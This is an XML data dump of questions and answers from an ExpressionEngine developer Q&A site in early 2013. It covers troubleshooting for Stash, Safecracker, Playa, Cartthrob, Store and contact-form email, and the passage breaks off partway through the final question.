  <row Id="2200" PostTypeId="1" AcceptedAnswerId="2206" CreationDate="2013-01-02T07:23:22.277" Score="1" ViewCount="532" Body="&lt;p&gt;I have something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;name&quot;}John{/exp:stash:set}     &#xA;{stash:embed name=&quot;message&quot;}&#xA;&#xA;{exp:stash:set name=&quot;name&quot;}Jane{/exp:stash:set}     &#xA;{stash:embed name=&quot;message&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the first embed of &quot;message&quot;, I want to display &quot;John&quot;. In the second embed of &quot;message&quot;, I want to display &quot;Jane&quot;. Right now, I seeing &quot;Jane&quot; in both rendering of &quot;message&quot;. Is there a way to do what I am trying to do?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-01-02T13:17:29.377" Title="Stash: setting same variable" Tags="|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2201" PostTypeId="1" AcceptedAnswerId="2204" CreationDate="2013-01-02T07:37:19.657" Score="1" ViewCount="260" Body="&lt;p&gt;I have Channel with fields A,B,C,D,E&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Safecracker form that contains input elements for channel fields A,B,C&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an extension with the callback method&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function foo($safecracker_object)&#xA;{&#xA;  ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which has the hook &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;safecracker_submit_entry_start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Given these data, what I want to do inside the callback function is to add channel fields D and E data manually so that in the end, what is being sent are the fields A,B,C,D,E.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something in the safecracker object that enables me to add those data? I have tried using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function form_hidden($name, $value = '')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function form_attribute($name, $value = '')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in safecracker object and it did not work.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-01-16T07:13:59.680" Title="Adding Channel Field data inside safecracker_submit_entry_start callback function" Tags="|safecracker|forms|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2202" PostTypeId="2" ParentId="2200" CreationDate="2013-01-02T08:28:54.053" Score="0" Body="&lt;p&gt;Try &lt;code&gt;{stash:embed process=&quot;inline&quot; name=&quot;message&quot;}&lt;/code&gt;. Default setting is end which tells stash to parse those values at the end of the parse order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Passing a variable to the template is also possible this way: &lt;code&gt;{stash:embed name=&quot;foo:bar&quot; process=&quot;start&quot; stash:my_var=&quot;value&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="685" LastEditorUserId="685" LastEditDate="2013-01-02T08:39:30.883" LastActivityDate="2013-01-02T08:39:30.883" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2203" PostTypeId="2" ParentId="2199" CreationDate="2013-01-02T09:22:26.620" Score="1" Body="&lt;p&gt;You'd need to modify the database. The &lt;code&gt;channel_name&lt;/code&gt; field in &lt;code&gt;exp_channels&lt;/code&gt; allows up to 40 characters, you could change it match &lt;code&gt;channel_title&lt;/code&gt; that allows 100 characters, but I'd recommend not doing so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My recommendation is mostly based on naming logic, field_names versus the field_label. Field labels are meant to be flexible and of benefit to the user, field names are to aid the current and future developers of your project. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, your project may start off with a single channel of data, let's say &lt;code&gt;default&lt;/code&gt;. In that channel you might create fields like: summary, description, table of content, keywords, etc.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that's all great, until you add your second channel, that let's say manages book reviews, and you need the fields summary, review, image, and keywords. Now you have duplicate field names, which can't exist at the database level within the same data table, so you might call summary =&gt; short and keywords =&gt; tags. By the time you hit the fifth channel, your naming convention is pretty much a mess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem becomes the lack of a naming convention. Naming conventions are helpful to developers, even if you are the only one, let's say you need some quick assistance, it should only take a few moments for a new developer to understand your naming convention. If it takes much longer, it's probably not an ideal convention. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My preferred convention is using the section_name as part of the field_name, so if I have a Book Review section of the website then…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;channel =&amp;gt; books&#xA;template_group =&amp;gt; books&#xA;field_group =&amp;gt; books&#xA;fields =&amp;gt;   {book_authors}, {book_summary}, {book_review}, {book_rating}, {book_image}, and {book_notes}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You don't have to do it this way. There have been a few articles by developers talking about how they name and how this can make things in development easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But generally speaking, it's not a &lt;code&gt;short_name&lt;/code&gt; if it's over 50 characters. Labels can be long and descriptive (but not the actual description, there is a field for that), but short_names should be succinct and convey information. &lt;code&gt;{book_summary}&lt;/code&gt; tells me not only that the field will be short, either &lt;code&gt;varchar&lt;/code&gt;, &lt;code&gt;tinytext&lt;/code&gt; or probable &lt;code&gt;text&lt;/code&gt;. But that it's a short, descriptive field, in the field_group for the section called &lt;code&gt;book&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having fields convey info to other developers is helpful. It removes or at least reduces the need for keeping field_lists available. As a guest developer, maybe providing you 10 minutes of assistance, if your naming convention used section_field, I could easily guess that a news section would be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;news&quot;&amp;gt;&#xA;&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;/news/article/{url_title}&quot; title=&quot;{title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;{news_summary}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p class=&quot;attribution&quot;&amp;gt;{news_author} for {news_outlet} on {news_date}&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Without having to pull a field list, etc. If, I guess wrong, say &lt;code&gt;{news_outlet}&lt;/code&gt; was actual &lt;code&gt;{news_vendor}&lt;/code&gt; then that's a quick and easy fix or adjustment.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-02T09:22:26.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2204" PostTypeId="2" ParentId="2201" CreationDate="2013-01-02T11:53:07.607" Score="2" Body="&lt;p&gt;I've very little experience with Safecracker but can you not simply manipulate the &lt;code&gt;$_POST&lt;/code&gt; elements? The hook is called before any entry data is processed so I can't see why that wouldn't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function safecracker_submit_entry_start()&#xA;{&#xA;    $_POST['news_body'] = 'Test';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="77" LastEditorUserId="77" LastEditDate="2013-01-04T11:27:32.493" LastActivityDate="2013-01-04T11:27:32.493" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2205" PostTypeId="1" AcceptedAnswerId="2208" CreationDate="2013-01-02T12:21:36.227" Score="1" ViewCount="136" Body="&lt;p&gt;I'm testing the code pack from Solspace for the Friends module. This is on a brand new clean install of EE 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error occurs when trying to add a comment. Full error code below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having done a search it seems that it's an issue on the EE side rather than because of a specific add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have a solution that does not involve core hacking?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ERROR&#xA;&#xA;A Database Error Occurred&#xA;Error Number: 1054&#xA;&#xA;Unknown column 'ip_address' in 'where clause'&#xA;&#xA;SELECT COUNT(*) AS count FROM exp_security_hashes WHERE hash = '9633427c80112996dc4a9da76c64abca2a2482fc' AND ip_address = 'XXX.XXX.XX.XXX' AND date &amp;gt; UNIX_TIMESTAMP()-7200&#xA;&#xA;Filename: third_party/friends/mod.friends.php&#xA;&#xA;Line Number: 8383&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="98" LastEditorUserId="150" LastEditDate="2013-01-02T19:09:51.900" LastActivityDate="2013-01-02T19:09:51.900" Title="DB Error with Solspace Friends on new Install of EE 2.5.5. Solutions?" Tags="|security|solspace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2206" PostTypeId="2" ParentId="2200" CreationDate="2013-01-02T12:43:01.877" Score="2" Body="&lt;p&gt;Denver is right that embeds get processed at the end of template parsing by default, therefore the value of the &quot;name&quot; variable will always have the last value. What you could do is use the parameter process=&quot;start&quot; so that the embed code is included before template parsing starts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;name&quot;}John{/exp:stash:set}     &#xA;{stash:embed name=&quot;message&quot; process=&quot;start&quot;}&#xA;&#xA;{exp:stash:set name=&quot;name&quot;}Jane{/exp:stash:set}     &#xA;{stash:embed name=&quot;message&quot; process=&quot;start&quot; random}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that you would need to access your &quot;name&quot; variable as a tag in the embed, and that this tag should not be nested otherwise due to the way EE parses from outwards inwards, the variable would be changed to the later value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;name&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you do need the variables to coexist and not overwrite each other regardless of how you nest them in the embed, you could use a dynamic context to provide a namespace and refer to it with the @ pointer from within the embed itself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;name&quot; context=&quot;message_1&quot;}John{/exp:stash:set}     &#xA;{stash:embed name=&quot;message&quot; stash:the_context=&quot;message_1&quot;}&#xA;&#xA;{exp:stash:set name=&quot;name&quot; context=&quot;message_2&quot;}Jane{/exp:stash:set}     &#xA;{stash:embed name=&quot;message&quot; stash:the_context=&quot;message_2&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:context name=&quot;{stash:the_context}&quot;}&#xA;&#xA;{exp:stash:get name=&quot;@:name&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2013-01-02T13:17:29.377" LastActivityDate="2013-01-02T13:17:29.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2207" PostTypeId="2" ParentId="2205" CreationDate="2013-01-02T13:19:27.950" Score="1" Body="&lt;p&gt;Got a repsonse from Solspace Support. It's an issue that affects many add-ons and it seems that it's the add-on developers responsibility to modify their code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/forums/viewthread/15096/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/forums/viewthread/15096/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="98" LastActivityDate="2013-01-02T13:19:27.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2208" PostTypeId="2" ParentId="2205" CreationDate="2013-01-02T13:21:06.943" Score="3" Body="&lt;p&gt;This is happening as the &lt;code&gt;ip_address&lt;/code&gt; column was dropped in EE 2.5.4 and replaced with column &lt;code&gt;session_id&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solspace 'Friends' hasn't been updated since September 20th 2012 so it hasn't been patched to fix this issue. The only way around this is to either wait for an update or 'hack' mod.friends.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will be a &lt;strong&gt;pre xid check&lt;/strong&gt; in the comments of this file - this section needs to be updated to work with EE 2.5.4+, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to use &lt;strong&gt;ee()-&gt;security-&gt;check_xid(ee()&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any other solspace modules that have been updated (User / Freeform) you should be able to patch it together. &lt;/p&gt;&#xA;" OwnerUserId="39" LastEditorUserId="39" LastEditDate="2013-01-02T18:52:27.213" LastActivityDate="2013-01-02T18:52:27.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2210" PostTypeId="2" ParentId="2155" CreationDate="2013-01-02T14:28:41.873" Score="1" Body="&lt;p&gt;I'm not positive if this will work or not, but the CodeIgniter Session library has a method for keeping flashdata for more more request, I'd imagine this would help here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try adding this before the redirect: &lt;code&gt;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;keep_flashdata('message_failure');&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-01-02T14:28:41.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2211" PostTypeId="1" CreationDate="2013-01-02T15:11:25.453" Score="2" ViewCount="174" Body="&lt;p&gt;I have two Super Search forms on a particular url: /tours on our site, the first one works fine as the result page redirects to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tours/results/search&amp;amp;_category=700&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the second one shows everything there is in that particular channel, and the query string is missing. The url for the second form resolves into&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/tour_guides/results&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is it that the second form only works when {segment_1} is the same as the channel being searched from? Doesn't Super Search allow you to have one channels search form in one location, and the results page sitting on another channel?&lt;/p&gt;&#xA;" OwnerDisplayName="user417" LastActivityDate="2013-01-02T15:11:25.453" Title="Two super search forms on one page" Tags="|supersearch|" AnswerCount="0" CommentCount="2" ClosedDate="2013-02-09T09:49:51.423" ContentLicense="CC BY-SA 3.0" />
  <row Id="2212" PostTypeId="2" ParentId="2132" CreationDate="2013-01-02T15:23:10.827" Score="1" Body="&lt;p&gt;Try adding &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt;. For some reason that's fixed issues I've had with Structure pagination in the past. We currently use something like this on our projects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; dynamic=&quot;no&quot; paginate=&quot;bottom&quot; limit=&quot;5&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="924" LastEditDate="2013-03-05T02:08:01.457" LastActivityDate="2013-03-05T02:08:01.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2213" PostTypeId="1" AcceptedAnswerId="2217" CreationDate="2013-01-02T15:33:17.493" Score="4" ViewCount="233" Body="&lt;p&gt;I want to output my Playa relationship entries into a slideshow. The relationships are linked to a channel field that has one image per listing. The tricky thing is that I want to output 5 images per row for use in the slideshow. Any advice on how I could do this? I've posted my code below, in which all the entries are returned (All images are being spit out in one slide).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&quot;cycle-slideshow&quot; &#xA;        data-cycle-fx=&quot;scrollHorz&quot; &#xA;        data-cycle-timeout=&quot;1000&quot;&#xA;        data-cycle-slides=&quot;&amp;gt; div&quot;&#xA;        &amp;gt;&#xA;        {exp:channel:entries channel=&quot;home&quot; dynamic=&quot;off&quot; disable=&quot;categories|category_fields|member_data|pagination&quot;}&#xA;            &amp;lt;div&amp;gt;&#xA;                &amp;lt;ul class=&quot;client-list&quot;&amp;gt;&#xA;                    {exp:playa:children}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;div style=&quot;background: url({exp:ed_imageresizer image=&quot;{logos}&quot; alt=&quot;{title}&quot; maxWidth=&quot;160&quot; maxHeight=&quot;80&quot; href_only=&quot;yes&quot;}) no-repeat center center; hfive: 98px;&quot; cropratio=&quot;116:104&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    {/exp:playa:children}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="687" LastActivityDate="2013-01-02T17:44:48.340" Title="Limiting Playa results in loop for use in slider" Tags="|playa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2214" PostTypeId="1" AcceptedAnswerId="2225" CreationDate="2013-01-02T15:35:58.993" Score="1" ViewCount="203" Body="&lt;p&gt;This is most likely another Stash parse order issue, but I'm not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to stay DRY and use Stash inside of Cartthrob notification emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my templates set up like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;default_site/  &#xA;- emails.group/  &#xA;-- low-inventory.html&#xA;- stash/  &#xA;-- layouts/&#xA;--- email.html  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've set up Cartthrob to use &lt;code&gt;low-inventory.html&lt;/code&gt; as the email notification.&lt;br&gt;&#xA;I'm intending to use &lt;code&gt;email.html&lt;/code&gt; as the wrapper layout/view file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;emails.group/low-inventory.html&lt;/strong&gt; looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:layouts:email}&#xA;&#xA;{exp:stash:set name=&quot;title&quot;}Low Stock Notification{/exp:stash:set}&#xA;&#xA;{exp:stash:set name=&quot;content&quot; parse_tags=&quot;yes&quot;}&#xA;  {exp:channel:entries entry_id=&quot;{entry_id}&quot;}&#xA;    Product ({title}) has a low inventory ({inventory}).&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;stash/layouts/email.html&lt;/strong&gt; looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;img_url&quot; type=&quot;snippet&quot;}{site_url}images/site/{/exp:stash:set}&#xA;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;    &amp;lt;table&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td&amp;gt;{exp:stash:title}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td&amp;gt;{exp:stash:content}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The email I receive in my inbox ends up looking like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{f9577b1c0aa0d3ee98693cf99f47a0e01185658551}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know something like that means something hasn't been parsed properly.&lt;br&gt;&#xA;Although, I'm not sure where I've gone wrong or what to change.&lt;br&gt;&#xA;Or, if you know that this isn't possible with Cartthrob notifications, let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be appreciated.&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-01-02T17:12:18.173" LastActivityDate="2013-01-02T20:34:08.217" Title="Cartthrob notification emails and Stash" Tags="|cartthrob|stash|email|parse-order|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2215" PostTypeId="1" AcceptedAnswerId="2220" CreationDate="2013-01-02T16:10:31.993" Score="6" ViewCount="1160" Body="&lt;p&gt;When creating a Channel field, such as a radio field type, is there a way to specify that a certain option should be selected by default? Same question for checkboxes, select dropdowns, etc.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-11-28T16:42:08.963" Title="Set default values for radio, checkboxes, selects, etc" Tags="|channel|fields|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2216" PostTypeId="1" AcceptedAnswerId="3696" CreationDate="2013-01-02T16:24:51.750" Score="2" ViewCount="149" Body="&lt;p&gt;Getting this error when updating to 2.5.5 from 2.5.4:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Use of undefined constant IS_FREELANCER - assumed 'IS_FREELANCER'&#xA;Filename: core/EE_Config.php(197) : eval()'d code&#xA;Line Number: 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I updated using the quick method via this blog post: &lt;a href=&quot;http://ellislab.com/blog/entry/expressionengine-2.5.5-released&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/blog/entry/expressionengine-2.5.5-released&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to set a config variable for IS_FREELANCER in my config.php?&lt;/p&gt;&#xA;" OwnerUserId="223" LastActivityDate="2013-01-13T15:56:13.153" Title="IS_FREELANCER errors on updating to 2.5.5" Tags="|updating|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2217" PostTypeId="2" ParentId="2213" CreationDate="2013-01-02T16:29:01.990" Score="3" Body="&lt;p&gt;You'll need to conditionally output your html. You can do this with the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#switch&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;switch&lt;/code&gt;&lt;/a&gt; variable (which is supported within Playa loops), or using an add-on you can use &lt;a href=&quot;http://devot-ee.com/search/results?keywords=modulo&amp;amp;collection=addons&amp;amp;addon_version_support=&quot; rel=&quot;nofollow&quot;&gt;modulo&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand your jQuery Cycle setup and and how you want the HTML output to be structured, then the following should do the trick: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;switch&lt;/code&gt; to close the list of images and the &lt;code&gt;div&lt;/code&gt; that represents a slide every 5 child entries. At the same time, open a new slide &lt;code&gt;div&lt;/code&gt; and image list to contain the next round of children.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;home&quot; dynamic=&quot;off&quot; disable=&quot;categories|category_fields|member_data|pagination&quot;}&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;ul class=&quot;client-list&quot;&amp;gt;&#xA;            {exp:playa:children}&#xA;&#xA;                &amp;lt;li&amp;gt;&amp;lt;div style=&quot;background: url({exp:ed_imageresizer image=&quot;{logos}&quot; alt=&quot;{title}&quot; maxWidth=&quot;160&quot; maxHeight=&quot;80&quot; href_only=&quot;yes&quot;}) no-repeat center center; hfive: 98px;&quot; cropratio=&quot;116:104&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;                {switch='||||&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;ul class=&quot;client-list&quot;&amp;gt;'}&#xA;&#xA;            {/exp:playa:children}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-01-02T17:44:48.340" LastActivityDate="2013-01-02T17:44:48.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2218" PostTypeId="2" ParentId="2213" CreationDate="2013-01-02T16:29:52.507" Score="0" Body="&lt;p&gt;If the issue is that you only want five list items per ul.client-list, &lt;code&gt;{exp:playa:children limit=&quot;5&quot;}&lt;/code&gt; should work, I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, you'll need to look at the &lt;code&gt;switch&lt;/code&gt; option outlined by Alex.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-01-02T16:29:52.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2219" PostTypeId="1" AcceptedAnswerId="2221" CreationDate="2013-01-02T17:30:27.360" Score="2" ViewCount="97" Body="&lt;p&gt;I updated to EE 2.5.5 &amp;amp; Store 1.6.2 and ever since the &lt;code&gt;{exp:store:checkout} {/exp:store:checkout}&lt;/code&gt; tag pair returns the white screen when any action is completed (update / empty / remove / next)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I quickly uploaded the store_example templates to test and the same issue was there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I backed up the Database, and then ran an uninstall / reinstall on the Store module - the functionality returns but I obviously lose all of the data - order information / products / etc and there are thousands. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I replaced &lt;code&gt;exp_store_config.store_preferences&lt;/code&gt; with the hash from the reinstalled Store but this didn't help - my guess is that it's a bodged upgrade... I'll try manually changing the version numbers to force an update... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the store is offline as it's impossible to make any purchases so any pointers would be greatly appreciated! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the post data doesn't submit, it's available in the Output Profiler. &lt;img src=&quot;https://i.stack.imgur.com/g8Z5C.png&quot; alt=&quot;exp_store checkout action&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;J&lt;/p&gt;&#xA;" OwnerUserId="39" LastEditorUserId="39" LastEditDate="2013-01-02T18:02:08.420" LastActivityDate="2013-01-02T18:20:42.907" Title="Expresso Store - White Screen @ checkout" Tags="|expresso-store|white-screen-of-death|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2220" PostTypeId="2" ParentId="2215" CreationDate="2013-01-02T17:33:32.477" Score="5" Body="&lt;p&gt;There is not - although you could add some javascript to do so (using, for example, the &lt;a href=&quot;http://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;CP CSS &amp;amp; JS&lt;/a&gt; add-on).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be a good feature request for Pixel and Tonic to add to their &lt;a href=&quot;http://devot-ee.com/add-ons/field-pack&quot; rel=&quot;nofollow&quot;&gt;P&amp;amp;T Field Pack&lt;/a&gt; fieldtypes.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="399" LastEditDate="2013-11-28T16:42:08.963" LastActivityDate="2013-11-28T16:42:08.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2221" PostTypeId="2" ParentId="2219" CreationDate="2013-01-02T18:20:42.907" Score="2" Body="&lt;p&gt;Was a botched upgrade, so I had to run the upgrade over. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, I manually edited the &lt;code&gt;exp_modules.module_version&lt;/code&gt; table for store to &lt;code&gt;1.5.0&lt;/code&gt; then hit run module updates in addons -&gt; modules. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All works as expected now. &lt;/p&gt;&#xA;" OwnerUserId="39" LastActivityDate="2013-01-02T18:20:42.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2222" PostTypeId="1" CreationDate="2013-01-02T18:36:32.197" Score="5" ViewCount="1141" Body="&lt;p&gt;Symptom: Contact Form does not send mail, but reports success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;maybe someone has an idea how to proceed. I have a standard contact form that DOES return a thank you (success) message but no email is being send.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried both sendmail and PHPmail in the email settings - and when I try to send an email from the tools &gt; communicate form I get errors on both (&quot;Unable to send email using PHP Sendmail/PHP mail&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I enable PHP in the template and write a simple piece of PHP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$to = &quot;name@example.com&quot;;&#xA;$subject = &quot;Test mail&quot;;&#xA;$message = &quot;Hello! This is a simple email message.&quot;;&#xA;$from = &quot;name@example.com&quot;;&#xA;$headers = &quot;From: $from&quot;;&#xA;mail($to,$subject,$message,$headers);&#xA;echo &quot;Mail Sent.&quot;;&#xA;?&amp;gt; 